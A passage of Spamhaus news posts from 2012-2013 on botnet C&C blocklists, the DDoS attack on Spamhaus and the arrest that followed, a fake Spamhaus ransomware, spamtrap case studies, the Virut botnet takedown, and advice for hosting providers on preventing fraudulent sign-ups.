In June 2012, Spamhaus launched and Botnet C&C list (BGPCC)") the Spamhaus BGP feed (BGPf), a new service designed to protect organizations, network owners and network providers from malicious traffic. A year has passed since the Spamhaus BGPf was released and we would like to share some experiences that we at Spamhaus as well as the BGPf users have had in that time. The Spamhaus Botnet C&C (BGPCC) is designed to protect networks and their users from botnet traffic. It can be used to block traffic from/to servers on the internet that are operated by cybercriminals and used to control infected computers (bots) or exfiltrate data. In the first year of operating BGPCC, Spamhaus has identified more than 5,700 botnet controllers that met the listing criteria") for the BGPCC. Currently, the BGPCC contains more than 670 single IP addresses that are considered to be botnet controllers: Number of entries in Spamhaus Botnet C&C list - 2012 Below is a list of the malware families associated with the number of command and control servers identified by Spamhaus and which has been listed on BGPf in the past year. In addition, we have included 323 IP addresses associated with the Blackhole Exploit Kit (BHE) that is being widely used to distribute malware. | Malware | # of C&Cs | Note | | --- | --- | --- | | ZeuS | 848 | eBanking Trojan | | Citadel | 691 | eBanking Trojan | | Torpig | 506 | eBanking Trojan | | SpyEye | 324 | eBanking Trojan | | DDoS bots | 297 | Various DDoS C&Cs associated with DirtJumper, BlackEnergy, etc. | | BankPatch | 200 | eBanking Trojan | | Dorkbot | 156 | Worm | | Ransomware | 103 | Various Ransomware families | | Spambot C&Cs | 80 | Various Spambot families (Cutwail, Spamnost, Grum, etc.) | | Pony | 69 | Dropper | | Feodo | 63 | eBanking Trojan | | Carberp | 60 | eBanking Trojan | | URLzone | 35 | eBanking Trojan | | Virut | 31 | Worm | | Necurs | 25 | Backdoor | | | Hermes | 14 | eBanking Trojan | | Other threats | 952 | Other malware families | | generic | 947 | C&Cs were the associated malware could not be identified | Note: The list above does not include the botnet C&Cs which were hosted on hijacked webservers/websites or fast flux botnets. Spamhaus does more than just listing bad IP addresses on BGPCC: once a botnet controller has been identified, an abuse report is sent to the responsible Internet Service Provider (ISP). In this fashion, Spamhaus can ensure that the ISP is able to take appropriate action to prevent further crimes from being committed. Since The Spamhaus Project was founded in 1998, Spamhaus has put a lot of effort into working with ISPs and Web Hosting Providers to find appropriate solutions for their abuse problems. We are glad to announce that 90% of all reported botnet controllers were shut down after Spamhaus reported them to the responsible ISPs. In the remaining 10% of cases, the botnet C&C is still active, or the ISP failed to notify Spamhaus about the problem resolution. The Spamhaus extended DROP list (EDROP "The Spamhaus Don't Route Or Peer Lists ")), which was also launched in June 2012, has identified 56 networks that meet the listing criteria for EDROP. At the moment, there are 23 active listings on EDROP. In addition, we have identified another 50 networks that meet the listing criteria for DROP, which shares the same listing policy as EDROP, but with the slight difference that only contains direct allocations, versus EDROP which lists only suballocations. Number of entries in Spamhaus EDROP - 2012 Number of entries in Spamhaus DROP - 2012 Spamhaus takes pride in providing reliable services to the community and to Spamhaus users. In the past year we had some great experiences which we would like to share with you. Mitigating spam emission at the ISP level In November 2012, we performed a real world test in cooperation with a large ISP in central Europe that provides services to more than 1.8 Million customers (mostly DSL / broadband customers). We provided a tiny subset of BGPCC data, which only contained botnet controllers associated with the Cutwail spam botnet. Using real time data from Spamhaus XBL") about bot infected machines, Spamhaus was able to accurately identify computers infected with the Cutwail spam bot. Then, all the Cutwail botnet controllers that were listed on BGPCC were blocked for a period of 14-days by the ISP. Spamhaus measured the number of spam emitting IPs associated with Cutwail before, during, and after the black-holing. Below is a chart that illustrates what was observed during this test: Results of blocking Cutwail botnet C&C servers On November 5 2012, as the ISP started to blackhole the IP addresses of the Cutwail command & control servers (C&Cs), Spamhaus saw a notable decrease in the number of spam emitting IPs from the participating ISP. The slow but continual decline in spamming IPs can be explained by the fact that it took some time for all the Cutwail infected bots to finish their current assigned tasks. As soon as they did so, the bots tried to "phone home" to receive new instructions. These attempts failed because all the Cutwail C&Cs had been blackholed by the ISP. The result was that the infected machines were unable to send out new spam emails. The decrease of detected Cutwail IPs in the ISP's network lasted for 2-weeks. When the IPs were unblocked on November 19th 2012, Spamhaus XBL saw a massive increase in actively spamming IPs that were associated with the Cutwail spambot at the ISP. This real world test showed how effective blocking malicious traffic at the ISP level is. It not only helps to protect customers and internet users from cyberthreats but also helps to reduce the workload created by such threats (eg. in this case less work for the abuse desks due to lower spam emission). The reputation of a network can also improve in the view of others. BGPf Case Study at Schibsted In mid 2012, we made a BGPf case study in a production environment. Schibsted IT, a subsidiary of one of the biggest media groups in Norway subscribed to the Spamhaus BGPf. They decided to implement all three feeds (DROP, EDROP and BGPCC). Instead of just blocking bad traffic, Schibsted decided to "sinkhole" the advertised IP addresses by redirecting the traffic to a server that is under their control. In this manner they were able, on a daily basis, to identify several infected computers within their network. The whole case study regarding Schibsted IT can be found here: Case Study - Using Spamhaus BGP feed in a Production Environment - HTML version at securityZONES website Spamhaus BGPf Case Study at Schibsted IT (full 256KB PDF) References Spamhaus Releases BGP feed (BGPf) and Botnet C&C list (BGPCC) Spam botnets: The fall of Grum and the rise of Festi [The Spamhaus Don't Route Or Peer Lists (DROP + EDROP) Spamhaus BGP feed (BGPf)](http://www.spamhaus.org/news/article/685/spam-botnets-the-fall-of-grum-and-the-rise-of-festi)

An arrest in response to March DDoS attacks on Spamhaus

The Spamhaus Team — Fri, 26 Apr 2013 17:55:19 GMT

The Spamhaus Project offers congratulations and its sincere thanks to the Dutch Public Prosecution Service (OM), the Dutch National High Tech Crime Unit (NHTCU) of the Dutch Police Services Agency (KLPD), the Spanish National Police (Catalonia branch in collaboration with the Central UDEF), and any and all other entities involved in the recent arrest announced in regard to the Distributed Denial of Service (DDoS) attacks on Spamhaus in March 2013. The record-breaking attacks were initially directed at Spamhaus infrastructure such as websites, mailservers and nameservers. Then, over the course of the following two weeks, the attacks escalated to targeting Spamhaus' supporting networks and services including various Internet exchanges. While the DDoS caused disruptions to our organization and its hosts and partners, the flow of the Spamhaus anti-spam data that protects over 1.7 billion mailboxes worldwide was never interrupted. Spamhaus will resolutely continue its mission to provide reliable protection against cyber threats such as spam, malware and botnets and work with Internet service providers and organizations worldwide to create a safer internet. Further reading: The full press release of the Dutch Public Prosecution Service (in Dutch) - English translation* The full press release of the Spanish Interior Ministry (in Spanish) - English translation* Dutchman Arrested in Spamhaus DDoS (@krebsonsecurity.com) Groep dreigt met 'grootste aanval ooit' om arrestatie hacker (@nu.nl in Dutch) - English translation* Dutch Suspect Arrested for Biggest Cyber Attack in Internet History (@ibtimes.co.uk) Dutchman arrested over huge web attack (@bbc.co.uk) Dutchman arrested in Spain for 'largest ever' Spamhaus cyber-attack (@rt.com) Dutch Authorities Nab Suspect In 'Unprecedented' Cyberattack (@npr.org) Dutch suspect arrested in massive March web attack (@techradar.com) Dutch suspect 'SK' arrested for Spamhaus cyber attack called internet's largest (@theverge.com) Police arrest suspect accused of “unprecedented” DDoS attack on Spamhaus (@arstechnica.com) Dutch suspect in huge cyberattack on anti-spam watchdog arrested in Spain (@washingtonpost.com) Man Arrested in Connection to Spamhaus DDoS Attacks (@thewhir.com) Suspect Arrested In Spamhaus DDoS Attack (@slashdot.org) Dutch Man Said to Be Held in Powerful Internet Attack (@nytimes.com) Spamhaus hacking suspect 'had mobile attack van' (@bbc.co.uk) Arrestatie Spamhaus DDoS verdachte in appartement Granollers Barcelona Spanje (@YouTube) Update (8 May 2013): Suspected cyber attacks on Spamhaus surrendered to Netherlands (in Dutch) - English translation* Looking at the spamhaus DDOS from a BGP perspective

Fake 'Spamhaus' MoneyPak Ransomware 'Blocked PC' Virus

The Spamhaus Team — Tue, 16 Apr 2013 14:00:04 GMT

A number of Internet users are reporting a fresh version of a ransomware virus circulated by cyber criminals which exploits the name and image of Spamhaus to trick computer users into paying fake fines using MoneyPak. Computer users should know that no authorities or organizations (including Spamhaus) use screen blocking messages to collect fines for any law violations. Users whose screens are blocked by this MoneyPak Ransomware Virus should research these sites to remove the problem from Windows OS machines: At www.malwaretips.com - This is a guide to using the Windows System Restore tool to remove the infection. At www.bleepingcomputer.com - This is a step-by-step guide showing how to use Rkill will try to disarm the infection. Both these are do-it-yourself free ways to remove the infection. If they seem too confusing, please look to an IT professional for assistance. Also, do try have the latest and best Windows OS anti-virus installed and running at all times. Others have posted some ideas at this Yahoo website. The fake 'Spamhaus' window: This "Spamhaus branded" ransomware was first spotted by Spamhaus over a year ago. We are also working to have this version's Command & Control server at "xblblock.com" shut down. See also: Spamhaus Online Agent (MoneyPak Scam)

Answers about recent DDoS attack on Spamhaus

The Spamhaus Team — Thu, 28 Mar 2013 03:17:11 GMT

At this time The Spamhaus Project is getting more press enquiries than we can personally respond to. Below is a list with the most frequently asked questions, along with our answers. If you are in need of any additional information please do not hesitate to contact us but we cannot guarantee a quick response. Our staff are almost all investigators and engineers who focus on dealing with spam and malware issues. Is this the biggest attack ever? It certainly is the biggest attack ever directed at Spamhaus. Many organizations are not open about the fact that they are attacked at all, let alone about techniques or traffic volumes used in the attack. Spamhaus understands their business and security concerns. However, we feel it is in the best interest of the Internet as a whole to openly discuss the DDoS cyberthreat and ways to resolve it. For that reason, when our DDoS mitigation service provider CloudFlare asked for our permission to discuss the attacks, we consented. Cloudflare wrote two very interesting blog articles about the attacks: The first is a few days old. As explained in the second blog, attack volumes increased in later attacks. The first blog provides an accurate and detailed explanation about this type of DNS amplification attack. Can big attacks cause issues for other parties? Certainly. Core internet infrastructure may be overwhelmed by the amount of traffic involved in an attack. When that happens, all traffic that passes through that part of the Internet is impacted. Compare it to a big highway: If a traffic jam gets big enough, the on-ramps will slow down and fill up, and then the roads to the on-ramps will fill up too. Attacks can be directed at core infrastructure precisely to inflict such collateral damage. With this attack, some collateral damage may have been seen locally, all depending on where you connect to the internet and when you look. Is the attack still ongoing? Like almost every piece of infrastructure on the internet, we are constantly under attacks of various scales. At this time, the attacks against our servers have subsided and the sizes are smaller. However, attacks do not just come and go. They also change in nature all the time. We try to be ready for the next attack so that we can ensure that our users will be protected and the networks that rely on our service will be kept safe. How can attacks like these be prevented? Preventing attacks like these depends on two key technical measures. First, all networks should ensure that they do not allow traffic to leave their network that has "spoofed" (forged) sending addresses. Without the ability to spoof traffic there would be no reflection attacks possible. Secondly, open DNS resolvers (or for that matter, any other open and abusable internet resource) should be locked down and secured. These attacks should be a call-to-action for the Internet community as a whole to address and fix those problems. Do you know who is attacking you? A number of people have claimed to be involved in these attacks. At this moment it is not possible for us to say whether they are really involved. How and to whom is Spamhaus accountable? Some people have claimed that Spamhaus is not accountable and can just censor anything we want. That is not the case. Not only do we have to operate within the boundaries of the law, we are also accountable to our users. If we started advising our users not to accept email from senders whose email they actually want to receive, they would quickly stop using our data because it would not meet their needs. We take pride in the quality of our data, and the fact that the biggest ISPs and networks all over the world use our data is a testament to its quality. The Spamhaus Project has been providing anti-spam advisory data for over 12 years without interruption. Media requests (only!) are handled at media-intl-ext@spamhaus.org Additional technical reading: Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing (RFC2827 - BCP38)* The Continuing Denial of Service Threat Posed by DNS Recursion (v2.0) by US-CERT (.pdf)* Open DNS Resolver Project* Open DNS Resolvers are Only Part of the Problem* Open DNS resolvers increasingly abused to amplify DDoS attacks* The Million Plus Open Resolver Challenge - Team Cymru* What has changed in the behavior of "allow-recursion" and "allow-query-cache" - ISC

Problems seen in transactional messages

The Spamhaus Team — Tue, 05 Mar 2013 22:32:40 GMT

Some months ago a number of bloggers wrote about The Spamhaus Project's "new" spamtraps. Some asserted that we were suddenly targeting transactional messages. Others noticed the timing of new SBLs based on those "new" traps and one concluded that we had decided to publish our advisories during the Christmas season, the time of year that retail companies see the bulk of sales and that would therefore most affect marketers. Links to a few of these blogs are provided below: The Magill Report - Now? Really? Spamhaus Blacklists Retailers for Typos ExactTarget Blog - Challenge of the Week: Spamhaus Bronto Blog - Improving Email Deliverability for In-Store Sign Ups Business 2 Community - If Nobody’s Home, Why Keep Knocking? In addition to other sources of data, The Spamhaus Project uses all sorts of spamtraps; we haven't suddenly started using typo domains (domains a few characters different than a popular domain) as a data source. We have been doing this for well over a decade. Change is a constant at Spamhaus as elsewhere and some things did change around December of 2012. These included greater cross-referencing amongst our various spamtraps, closer communication amongst their maintainers, and greater machine analysis of spam headers. Being leaders in the anti-spam community, we are often asked for our opinion and guidance in building and operating anti-spam systems. We have often stated that, when operating spamtrap farms, care should be given to identification of transactional messages, and they should be handled differently than other email sent to spamtraps. We do not list IP addresses because of one-off transactional emails sent to a few spamtraps. If the email stream is persistent over time, especially high volume, and drifts outside the relationship of individual transactions, we will start to find these messages a problem. An example of this is when the transactional email stream to the spamtrap also contains marketing messages. The Spamhaus Project publishes advisories for its users. We attempt to list spam sources when spam is being emitted or, in some cases, even before it has started. As such, we do not wait for specific times of the year to publish our advisories. We publish as we become aware of the problem, and only for as long as we see the problem still exists. Before we look into some case studies, there is an important point to note: not all Spamhaus Project spamtrap systems accept all email. (It is a common misconception that they do.) Some reject a percentage of the messages sent to them. Some reject mail from specific sources. Some even reject all email whatsoever. The behavior of any spamtrap can also change over time. This is important because in the examples that we will be presenting all messages were rejected. Had the senders been paying attention to their error logs, as all bulk emailers should, they would presumably not have continued to send email to obviously closed/dead email addresses. Case Study 1. A transactional message (in this case a receipt) was sent to an email address that had never requested it. That message bounced, but that didn't prevent the company's marketing department from pushing advertisements to that email address. They stopped sending to the email address eventually, but nine months later they moved to another ESP and attempted to re-engage the email address. Please note: this email address had rejected every message sent to it over the course of the year. It never "opened" an email. It never "clicked" a link. Even if the marketing department had not been given access to the mail logs or told which email addresses were bouncing, if they had simply paid attention to the engagement statistics for this email, they would have known that nobody was reading it. 2011/08/19 Your eReceipt from {deleted} Outlet 2011/08/22 Welcome! Enjoy 15% off at {deleted} Outlet! 2011/08/28 Your gift inside! 2011/09/02 Only 1 more weekend. Your gift inside! 2011/09/05 Ohh baby! It's a sale! 2011/09/09 This Weekend: 50% Off Women's Styles 2011/09/22 SAVE BIG! $14.99 and under sale! 2012/06/27 Your gift inside! 2012/07/03 Did you get your coupon yet? 2012/07/11 SALE: $9.99 tanks and tees! 2012/07/20 $14.99 logo hoodies + save 70%! We view the message sent on 2011/08/19 as a transactional message, most likely entered at a point of sale. We view the message sent on 2011/08/22 as an opt-out message from the marketing department, since no permission had ever been given to send marketing email messages to that email address. To repeat ourselves, every one of these messages was rejected. It is the view of the Spamhaus Project that email addresses used for transactional mail should not be used for marketing email without permission. Case Study 2. Sometimes an email address is acquired at a point of sale and saved into a database for future marketing. Transactional messages, when saved into a database to be reused, should have some sort of confirmation process to ensure that new messages are in fact going to the proper person. 2012/02/07 Your eReceipt from {Brand-A} Richmond 2012/02/07 Your eReceipt from {Brand-A} Richmond 2012/03/08 Your eReceipt from {Brand-B} Pinole 2012/04/22 Your eReceipt from {Brand-B} Pinole 2012/04/22 Your eReceipt from {Brand-B} Pinole 2012/04/28 Your eReceipt from {Brand-A} Richmond 2012/04/28 Your eReceipt from {Brand-A} Richmond 2012/04/28 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your {Brand-A} Order Confirmation 2012/05/09 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your eReceipt from {Brand-A} Richmond 2012/05/09 Your {Brand-A}.com Order Has Shipped 2012/05/09 Your {Brand-A}.com Order Has Shipped 2012/05/10 Your eReceipt from {Brand-A} Richmond 2012/05/10 Your eReceipt from {Brand-A} Richmond 2012/05/10 Your eReceipt from {Brand-A} Richmond 2012/05/10 Your eReceipt from {Brand-A} Richmond 2012/05/11 Your {Brand-A} order has been delivered 2012/05/11 Your eReceipt from {Brand-A} Richmond 2012/05/11 Your eReceipt from {Brand-B} Pinole 2012/05/11 Your eReceipt from {Brand-B} Pinole 2012/05/13 Shop again at {Brand-A} and get $10 off 2012/05/15 Your eReceipt from {Brand-A} Richmond 2012/05/16 You deserve the best: Here are your top ten deals! 2012/06/28 Your eReceipt from {Brand-B} Pinole 2012/07/06 Your eReceipt from {Brand-B} Pinole 2012/07/18 It's been a while since we've seen you online - check out new offers just for you! 2012/07/23 Your eReceipt from {Brand-A} Richmond 2012/07/23 Your eReceipt from {Brand-A} Richmond 2012/07/26 Your eReceipt from {Brand-B} Pinole 2012/07/27 Your eReceipt from {Brand-A} Richmond 2012/08/18 Your eReceipt from {Brand-A} Richmond 2012/08/22 Your eReceipt from {Brand-A} Richmond 2012/08/25 Your eReceipt from {Brand-B} Pinole 2012/08/25 Your eReceipt from {Brand-B} Pinole 2013/01/28 Take a Peek: A $10 in Points coupon + bonus offer awaits inside As with the previous case study, all of these messages were rejected during the SMTP conversation. Had the sender been processing rejections ("bounces"), the sender would have known that their email was not being delivered. Email to this email address should have stopped after AT MOST three rejections. In addition to being sent to an email address that had rejected all previous email, the message sent on 2013/01/28 had a completely different sender envelope address than the previous messages. For example, assume that the receipts were sent from receipt@brand-a, but the new email was sent from rewards@superduperrewardsclub. Even if the new email had been sent to an actual customer email address instead of a spamtrap, unless the customer did considerable research, the customer would not realize that they were being contacted by "Brand A", which also owned "Brand C". The email would look like spam from a company that they'd probably never heard of or done business with. Case Study 3. Sending transactional messages doesn't mean that you can forget about list hygiene. In this example, a domain expired in early to mid-2010, was re-registered by Spamhaus, and was placed in timeout for more than two years. (Most new spamtrap domains are placed in timeout for at least six months, and many for year or more, before being put into production as a spamtrap. While email is properly rejected during that aging process, data can still be collected before the SMTP rejection, hence the Subject history during that period.) This spamtrap was configured to reject all email from this particular source, but the sender after two years still hasn't realized that the original recipient is not receiving their messages. 2011/01/15 Your receipt #{deleted} 2011/01/15 Your receipt #{deleted} 2011/01/17 Your receipt #{deleted} 2011/02/11 Your receipt #{deleted} 2011/02/15 Your receipt #{deleted} 2011/02/26 Your receipt #{deleted} 2011/03/10 Your receipt #{deleted} 2011/03/28 Your receipt #{deleted} 2011/03/28 Your receipt #{deleted} 2011/03/30 Your receipt #{deleted} 2011/04/01 Your receipt #{deleted} 2011/04/03 Your receipt #{deleted} 2011/04/11 Your receipt #{deleted} 2011/04/18 Your receipt #{deleted} 2011/04/24 Your receipt #{deleted} 2011/04/25 Your receipt #{deleted} 2011/04/28 Your receipt #{deleted} 2011/05/07 Your receipt #{deleted} 2011/05/12 Your receipt #{deleted} 2011/05/17 Your receipt #{deleted} 2011/05/20 Your receipt #{deleted} 2011/05/24 Your receipt #{deleted} 2011/05/27 Your receipt #{deleted} 2011/05/27 Your receipt #{deleted} 2011/06/08 Your receipt #{deleted} 2011/06/11 Your receipt #{deleted} 2011/06/24 Your receipt #{deleted} 2011/06/28 Your receipt #{deleted} 2011/06/28 Your receipt #{deleted} 2011/07/02 Your receipt #{deleted} 2011/07/02 Your receipt #{deleted} 2011/07/02 Your receipt #{deleted} 2011/07/04 Your receipt #{deleted} 2011/07/12 Your receipt No.{deleted} 2011/07/20 Your receipt No.{deleted} 2011/07/20 Your receipt No.{deleted} 2011/07/23 Your receipt No.{deleted} 2011/07/23 Your receipt No.{deleted} 2011/07/23 Your receipt No.{deleted} 2011/07/23 Your receipt No.{deleted} 2011/07/24 Your receipt No.{deleted} 2011/07/25 Your receipt No.{deleted} 2011/07/26 Your receipt No.{deleted} 2011/07/27 Your receipt No.{deleted} 2011/07/30 Your receipt No.{deleted} 2011/08/01 Your receipt No.{deleted} 2011/08/03 Your receipt No.{deleted} 2011/08/05 Your receipt No.{deleted} 2011/08/08 Your receipt No.{deleted} 2011/08/14 Your receipt No.{deleted} 2011/08/18 Your receipt No.{deleted} 2011/08/18 Your receipt No.{deleted} 2011/08/20 Your receipt No.{deleted} 2011/08/27 Your receipt No.{deleted} 2011/08/30 Your receipt No.{deleted} 2011/09/03 Your receipt No.{deleted} 2011/09/11 Your receipt No.{deleted} 2011/09/16 Your receipt No.{deleted} 2011/09/28 Your receipt No.{deleted} 2011/10/26 Your receipt No.{deleted} 2011/10/28 Your receipt No.{deleted} 2011/11/03 Your receipt No.{deleted} 2011/11/05 Your receipt No.{deleted} 2011/11/12 Your receipt No.{deleted} 2011/11/14 Your receipt No.{deleted} 2011/11/14 Your receipt No.{deleted} 2011/11/21 Your receipt No.{deleted} 2011/11/26 Your receipt No.{deleted} 2011/12/03 Your receipt No.{deleted} 2011/12/05 Your receipt No.{deleted} 2011/12/10 Your receipt No.{deleted} 2011/12/21 Your receipt No.{deleted} 2011/12/27 Your receipt No.{deleted} 2012/01/02 Your receipt No.{deleted} 2012/01/06 Your receipt No.{deleted} 2012/01/14 Your receipt No.{deleted} 2012/01/14 Your receipt No.{deleted} 2012/01/17 Your receipt No.{deleted} 2012/01/22 Your receipt No.{deleted} 2012/01/24 Your receipt No.{deleted} 2012/02/24 Your receipt No.{deleted} 2012/02/28 Your receipt No.{deleted} 2012/03/09 Your receipt No.{deleted} 2012/03/22 Your receipt No.{deleted} 2012/03/28 Your receipt No.{deleted} 2012/03/30 Your receipt No.{deleted} 2012/04/12 Your receipt No.{deleted} 2012/04/18 Your receipt No.{deleted} 2012/04/24 Your receipt No.{deleted} 2012/07/30 Your receipt No.{deleted} 2012/07/30 Your receipt No.{deleted} 2012/08/01 Your receipt No.{deleted} 2012/08/08 Your receipt No.{deleted} 2012/08/12 Your receipt No.{deleted} 2012/08/13 Your receipt No.{deleted} 2012/08/18 Your receipt No.{deleted} 2012/08/23 Your receipt No.{deleted} 2012/08/23 Your receipt No.{deleted} 2012/09/08 Your receipt No.{deleted} 2012/10/12 Your receipt No.{deleted} 2012/10/30 Your receipt No.{deleted} 2012/11/07 Your receipt No.{deleted} 2012/11/14 Your receipt No.{deleted} 2012/12/14 Your receipt No.{deleted} 2012/12/16 Your receipt No.{deleted} 2012/12/24 Your receipt No.{deleted} 2013/01/11 Your receipt No.{deleted} 2013/01/14 Your receipt No.{deleted} 2013/01/18 Your receipt No.{deleted} In the example above it is painfully obvious that this sender isn't even looking at their rejection logs. They are also not performing any sort of hygiene on the email addresses that they are sending to, as each of those messages were rejected in the SMTP conversation. We hope that these case studies help to illustrate the problems caused when senders of transactional and bulk email ignore SMTP rejections. The ongoing flow of presumably-unintended bulk email from unattended mail systems operated by well-intentioned but careless senders is unsolicited bulk email (spam). It wastes recipient mailserver resources and annoys innocent third party recipients who did not ask for that email. Spamhaus' mission is to keep unsolicited bulk email out of our users' mailboxes. We do make adjustments in the data available for SBL listings and in how we handle that data. Sometimes, as was the case in December, those adjustments bring to light ongoing spam problems, but they do not create those spam problems.

Cooperative Efforts To Shut Down Virut Botnet

The Spamhaus Team — Sat, 19 Jan 2013 10:14:01 GMT

During the past few weeks, Spamhaus has worked hard to shut down a botnet called "Virut". Virut take down Virut is a worm that spreads through removable drives such as USB sticks and network shares, but it also has file infection capabilities it uses to spread itself. Virut was first detected in 2006 and became a serious threat with an estimated size of more than 300,000 compromised computers. Cybercriminals are using several dozen domain names, mainly within the .pl ccTLD (Poland), but also within the .ru ccTLD (Russia) and the .at ccTLD (Austria). These domains are registered by the operators of Virut to control the botnet. In the past few months, Virut has started to drop ZeuS (ebanking Trojan) and Kehlios (Spambot) onto computers infected with Virut as part of their Pay Per Install business model (PPI). Due to Virut's persistence, there have already been a couple of take down efforts in the past. However, none of those efforts have been successful thus far. The most recent take down effort was in December 2012, wherein Spamhaus managed to have suspended all the Virut domain names registered through various Polish registrars within the .pl ccTLD. Unfortunately, the Virut botnet gang managed to get the malicious botnet domain names moved to a new registrar called home.pl quickly. In past few days, Spamhaus has been in close contact with the sponsoring registrar (home.pl), the Polish Computer Emergency Response Team (CERT.pl) to get the domain names suspended. In cooperation with the Polish CERT and the registrar home.pl, we managed to get all the Virut domain names within the .pl ccTLD sinkholed. In addition, Spamhaus reached out to the Austrian CERT and the Russian based Company Group-IB CERT-GIB to shut down the remaining Virut domains within the .at and .ru ccTLDs. In cooperation with Spamhaus, and due to the evidence and intelligence provided by Spamhaus, CERT-GIB was able to shut down all the Virut domains within the .ru ccTLD within a few hours. The last remaining stronghold for the Virut C&C domains is the .at ccTLD. Having alerted both nic.at and the Austrian CERT multiple times about this issue we hope that they can soon follow the examples set by the work done with .pl and .ru. The important role of registries and registrars The Virut takedown effort clearly illustrates the important and meaningful role registries and registrars can play in the fight against cybercrime in general. Domains often are a critical part of malicious infrastructure and by being proactive their efforts can contribute a lot to online safety. We therefor urge registries and registrars to add clauses to the registration contracts that allow them to take action in cases where the domains involved are clearly only used for bad purposes. International cooperation to address cyber-threats How long the shut-down of Virut will last this time is unknown. However, we remain committed to continue the fight against cyber threats. The recent Virut take down is a good model for the future: the internet has no borders, and the community can only fight cybercrime successfully with international cooperation and coordination. Spamhaus will continue to work with its partners around the globe to follow its mission, protecting internet users from cyber threats. Further reading CERT.pl: NASK shuts down dangerous Virut botnet domains Symantec: Snapshot of Virut Botnet After Interruption Symantec: W32.Virut Microsoft: Win32/Virut

How hosting providers can battle fraudulent sign-ups

The Spamhaus Team — Mon, 01 Oct 2012 00:43:23 GMT

Hosting providers are increasingly asking Spamhaus how they can prevent so-called "fraudulent sign-ups" -- new customers whose only intention is to spam, host malware, host botnet controllers, or engage in other activities that are forbidden by the hosting provider's acceptable use policy (AUP). Such customers normally target cheap VPS and cloud hosting with automated sign-up procedures. These customers know that their accounts will be terminated swiftly when the host becomes aware of their activities, so they usually use stolen credit cards or compromised Paypal accounts to obtain service. This allows them to hide their real identities and avoid spending their own funds Spamhaus has received several independent reports from hosting providers that the volume of such fraudulent sign-ups has increased dramatically in the past few months. Some hosting providers report that 50% of all new subscriptions are fraudulent -- every second subscription. No hosting company is immune, neither small local operations nor large multinational hosting firms with data centers on several continents. While Spamhaus' mission is to protect internet users and organizations from spam and other cyber-threats, we lack the resources and time to act as an abuse reporting service (FBL - Feedback Loop) or a consulting company. However, we would like to do what we can to help. This article provides some tips to help hosting providers prevent fraudulent sign-ups and increase the detection rate for such sign-ups. These tips are not a solution, but should help mitigate the damage and administrative costs caused by criminals. Verify User Information First, create and implement a verification mechanism for automated sign-ups. It should verify at least some personal information from new subscriptions. For example: Customer email address Customer phone number Do not send a verification link or verification SMS to the customers email address or phone number, rather then ask your customer to send a verification code that is being displayed during the sign up process to you. This is crucial, as cybercriminals are using disposable email addresses and SMS providers to receive verification codes from hosting providers. However, these disposable email address and SMS providers can't be used to send email or SMS. If you are unable to verify any of this information, place the account on hold until the customer contacts you and you can verify their identity by other means. If a criminal must provide an email address or telephone number that he answers, he must either risk identifying himself to you or move on to a less vigilant provider. You can also block subscriptions from customers who use phone numbers previously used in a fraudulent sign-up. While it is easy to compromise an email account, it is more difficult to compromise a phone number assigned to another person. Payment verification When processing payents from customers, you should make sure that: Do not accept payments from crypto currencies such as BTC, ETH, etc Do not accept payments from WebMoney When processing payments from credit cards, be sure authenticate them using 3-D Secure, SafeKey, SecureCode and ProtectBuy Blocklist Abusive Customers Maintain a blocklist of the names, postal addresses, telephone and mobile numbers, and email addresses of customers who have violated your AUP, and check the blocklist for every subscription. Do not allow blocklisted customers or those using the same information to sign up for service with you again. Include some or all of the following types of information on the blocklist: First name Last name Postal address Phone number Mobile number Email address PayPal, WebMoney, etc. payment service data IP address used to sign up Browser (User-Agent) Blocklisted customers often try to sign up for service again under a new name and postal address, but frequently do not change the email address and often attempt to sign up from the same IP address. By using a blocklist, you can detect such sign-ups. Please consider, that creating such a register of personal data will be subject data protection laws in several countries. So before you are going to create such a blocklist/database please ensure that you perform the necessary clarification with the data protection legislation that is in effect in your country. Have a strong Acceptable Use Policy (AUP) or Terms of Service (ToS) A key point in fighting abuse and fraudulent customers on your network is to implement a strong Acceptable Use Policy, also known as Terms of Service. If you are in the hosting business, it is vital to have an AUP. Without one, you leave yourself open to legal threats when you terminate services to abusive customers or refuse to allow a previously terminated customer to sign up again. Spammers specifically seek out hosts with weak AUPs, or hosts who are known to be lax on spam/security issues. Lack of an effective AUP permits them to abuse your network and then threaten to sue when you terminate their service. Several hosts have excellent AUPs which, among other measures, allow the ISP to terminate a customer account upon receiving an SBL notification from Spamhaus. In addition, hosts that state clearly on their corporate web sites that they will fully cooperate with law enforcement and private anti-spam and security companies such as Spamhaus when their AUP is violated, discourage abusers from signing up in the first place. To help hosts revise or implement their AUPs, Spamhaus has set up a small tool: AUP Document Builder http://www.spamhaus.org/isp/aup\_builder/ You can use this tool to create or revise an AUP for your company. Active Netflow / Traffic Monitoring We have seen some cases where it is nearly impossible to determine that a customer is fraudulent when they sign up. In such cases, you may be able to detect the abuse after they sign up but before you get feedback reports from third parties such as Spamcop, Spamhaus or other security firms. You do this by actively monitoring network traffic for patterns that do not normally occur with legitimate use, but often occur when a user is spamming, hosting malware, or running a botnet from your network. For example, spammers and malware hosts frequently use a VPN to forward traffic from their permanent, back-end locations on your server to botnet or snowshoe spam cannons or web proxies on a compromised server. They use stolen personal data obtained from an infected computer, or even the computer itself, to sign up. As soon as Spamhaus detects and reports abuse, the host terminates the account, but the spammer just signs up again using a different (stolen) identity. Often there is one constant amidst the changed identities: the VPN end node (back-end)! A host that monitors network traffic for connections to known blackhat VPN nodes can detect abusers quickly and prevent them from profiting from their abuse. Customer IP address verification When a new customer signs-up, you should check the IP address that they use against a number of blocklists, and either not accept or not activate any subscription that originates from an IP address that is listed on the Spamhaus SBL or XBL. Spamhaus SBL: http://www.spamhaus.org/sbl/ Spamhaus XBL: http://www.spamhaus.org/xbl/ In addition, do not accept any subscriptions from Tor nodes. There are several Tor-DNSBL services that you can query before accepting a subscription. The benefit of these DNSBL checks (SBL/XBL/Tor) is that they are fast and can be done automatically. Use Spamhaus DROP/EDROP to filter bad traffic A significant number of malware hosting sites and botnet control sites are in fact proxy nodes, forwarding traffic to a back-end server. These back-end servers are often hosted on rogue networks that are already listed on one of the Spamhaus Don't Route Or Peer Lists (DROP/EDROP). You can prevent these criminals from abusing your network by implementing DROP and 